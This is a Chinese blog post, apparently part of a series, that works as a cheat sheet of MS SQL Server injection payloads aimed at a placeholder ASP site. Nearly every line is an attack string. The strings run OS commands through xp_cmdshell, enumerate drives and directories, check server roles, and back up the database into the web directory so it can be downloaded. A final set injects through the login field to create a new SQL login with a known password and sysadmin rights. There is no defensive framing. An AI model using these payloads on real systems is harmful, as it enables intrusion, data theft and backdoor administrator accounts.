经典SQL注入(3)
经典SQL注入(3)
本文发表于3年前
遍历目录的方法:
先创建一个临时表:temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构,并寸入temp表中5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某个文件的内容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree适用权限PUBLIC)
写入表:
语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));--
把路径写到表中去:
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\'-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-
把数据库备份到网页目录:下载
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--
and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects) 参看相关表。
and 1=(select%20user_id%20from%20USER_LOGIN)
and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)
如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
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